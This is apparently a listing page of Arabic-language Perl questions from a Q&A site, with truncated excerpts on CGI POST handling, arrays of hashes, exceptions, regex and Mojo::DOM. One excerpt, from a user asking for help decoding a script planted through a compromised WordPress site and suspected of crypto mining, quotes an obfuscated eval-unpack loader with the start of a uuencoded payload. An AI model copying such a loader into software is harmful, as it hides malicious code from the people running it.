perl — أسئلة مع إجابات

1 إجابة
أقوم ببناء خادم ويب باستخدام Apache و Perl CGI الذي يعالج طلبات POST المرسلة إليه. يتطلب مني جزء المعالجة الحصول على البيانات غير المعالجة تمامًا من الطلب والتحقق من توقيعه. يرسل العميل نوعين مختلفين من طلبات POST: أحدهما مع تعيين نوع المحتوى كـ application/json ، والثاني بنوع المحتوى كـ applicati...
cgi
cgi.pm
30.07.2018, 17:57
1 إجابة
لدي ملف بنطاقات. أريد أعلى نطاقات من القائمة وإزالة نطاقات صغيرة متداخلة أخرى: chr1A 77568 86766 chr1A 203138 204427 chr1A 204428 222994 chr1A 204428 206534 chr1A 206538 207965 chr1A 207967 213097 chr1A 213098 221111 chr1A 213098 213863 chr1A 213864 214195 chr1A 214196...
30.07.2018, 16:24
1 إجابة
أنا أقوم بتعيين من وإلى الأوقات للإدخال الأول والأخير أدناه my $from_time = $self->{'r_instrDataEvent'}->{'ulsaStats'}->[0]->{'epochtime'}; print "$from_time"; my $to_time = $#{$self->{'r_instrDataEvent'}->{'ulsaStats'}}->{'epochtime'}; print "FROM is $from_time to is $to_time"...
arrays
hash
30.07.2018, 15:44
2 الاجابة
ما هي أفضل طريقة للحصول على أعلى قيمة من مجموعة من التجزئة؟ أريد الحصول على أعلى قيمة معرّف من كل ملف ، والمحتوى في صفيف (المفاتيح هي اسم الملف والمعرف). لي @array يحتوي على هذه القيم [ { file => "messages0.0", id => "1", }, { file => "messages0.1", id => "2", }, { file =&g...
arrays
30.07.2018, 15:15
2 الاجابة
كيفية الحصول على استثناء من التقييم الداخلي {}؟ #!/usr/bin/perl use strict; use warnings; use Try::Tiny; use Exception::Class ('T'); use Data::Dumper; try { eval { T->throw("Oops"); }; } catch { print Dumper \$_; }; } لم نحصل على نموذج فرعي Exception :: Class ...
exception-handling
eval
30.07.2018, 14:22
2 الاجابة
أريد تغيير هذا الرمز من استخدام التجزئة إلى صفيف ، ولكن لا يمكنني العثور على مثال جيد للمتابعة. يمكن لأي شخص أن ينصح؟ رسالتي الوحيدة حتى الآن هي الاستخدام [ ] في السطر 2. my @subscriptions = (); $self->{'serverMap'} = {}; foreach my $service( "pmservice", "saservice" ) { my $r_serverMap...
arrays
hash
30.07.2018, 09:35
3 الاجابة
كيف يمكنني أن أفعل شيئًا كهذا: أريد خادم IP العائد من جملة if ، حيث أقوم بالتوقيع إذا كان المتغير. إنه ممكن؟ #!/usr/bin/env perl # use warnings; use strict; my $variable1 = "10.12.1.1"; my $variable2 = "10.12.1.2"; my $string = $ARGV[0]; my $serveris=>(if ($string =~ m/^[abcdefghijklm]/) { ...
if-statement
30.07.2018, 09:28
1 إجابة
يمكن لأي شخص أن يرشدني حول كيفية فك شفرة بيرل النصي أدناه. إنه نص برمجي تم تحميله إلى الخادم من خلال موقع WordPress مخترق. يتم تشغيله باستمرار من خلال وظيفة cron ، وأظن أنه نص تعدين cryto. my $INrVhi;$INrVhi.=$_ while(<DATA>);eval(unpack('u*',$INrVhi)); __DATA__ M(R$O=7-R+V)I;B]P97)L("UW"G5S9...
security
30.07.2018, 09:28
2 الاجابة
أحاول استعادة مجموعة من perl إلى bash. يحتوي نص بيرل على مصفوفة ثم أستخدمها return(@arr) من نصي باش الذي أستخدمه VAR = `perl.... عندما أردد VAR أحصل على aray كسلسلة طويلة واحدة مع جميع متغيرات الصفيف المتصلة بدون مسافات. شكر
30.07.2018, 07:33
1 إجابة
لدي سكربل بيرل مساره هو /scripts/original/ascript.pl يوجد أيضًا ارتباط رمزي لهذا البرنامج النصي: /scripts/linked/ascript.pl في ascript.pl ، أحتاج إلى المسار الذي تم استدعاء البرنامج النصي منه (حتى / scripts / original أو / scripts / links). يعيد abs_path () دائمًا الموقع الذي تم حله: use strict;...
15.07.2018, 11:37
1 إجابة
اقتراح البرنامج النصي لتجميع بعض القيمة من بعض جدول البيانات في ملفات ASCII. [IMG_OUR_ID=8092.jpg] عدلت النص الذي نشرته أمس . الآن يعمل بالكاد. أتساءل عما إذا كانت هذه هي الطريقة الصحيحة لنقل مقبض الملف بهذه الطريقة. الاستخدام لا يزال هو نفسه myscript.pl targetfolder/*> result.csv F هو مقبض ملف...
filehandle
15.07.2018, 03:18
1 إجابة
لقد اتبعت بطانة PERL واحدة. هذا RegL بيرل ببساطة الأحرف الأولى من جميع كلمات جملة معينة. $val =~ s/\b(.)(.*?)\b/uc($1).$2/eg; إدخال: "united states corp" انتاج | "United States Corp" ومع ذلك ، أحتاج إلى تحقيق نفس الوظيفة في JAVA. أفعل المتابعة. String INPUT="united states corp" Pattern p = Patte...
regex-lookarounds
14.07.2018, 19:44
1 إجابة
لدي Mojo :: DOM. my $doc = Mojo::DOM->new(decode_utf8($html_page_content); أريد أيًا من شيئين: 1) ابحث عن جميع علامات "a" التي تبدأ بـ "/ my_link" أو "/ my_link2" أو "/ my_link3" أو 2) ابحث عن جميع علامات "a" ، وكررها وتحقق مما إذا كان الرا...
mojolicious
14.07.2018, 14:59
2 الاجابة
حاولت كتابة روتين فرعي يتكرر من خلال قائمة من السلاسل ويطبع كل سلسلة ، لكنه لا يعمل: use HTTP::Date; my @date_strings_array = ("Jun 1, 2026", "Aug 26, 2018 GMT-05:00", "Aug 26, 2018"); print_datetimes(@date_strings_array); sub print_datetimes { my @date_string_array = shift; foreach $dat...
19.06.2018, 15:27
2 الاجابة
باستخدام نص لينكس بسيط (باش ، بيرل ، أووك) ، من هذا النص: ## Step ### Action : * press ## Step 10 ## Step 1 أريد استبدال كل أحداث ^##[ ]+Step[ ]*[0-9]*$ مع ## Step $i مع i عدد الاستبدالات التي تم إجراؤها بالفعل + 1 ## Step 1 ### Action : * press ## Step 2 ## Step 3 في الواقع ، أنا فقط...
19.06.2018, 14:03
  • 1
  • 2
فوق
قائمة طعام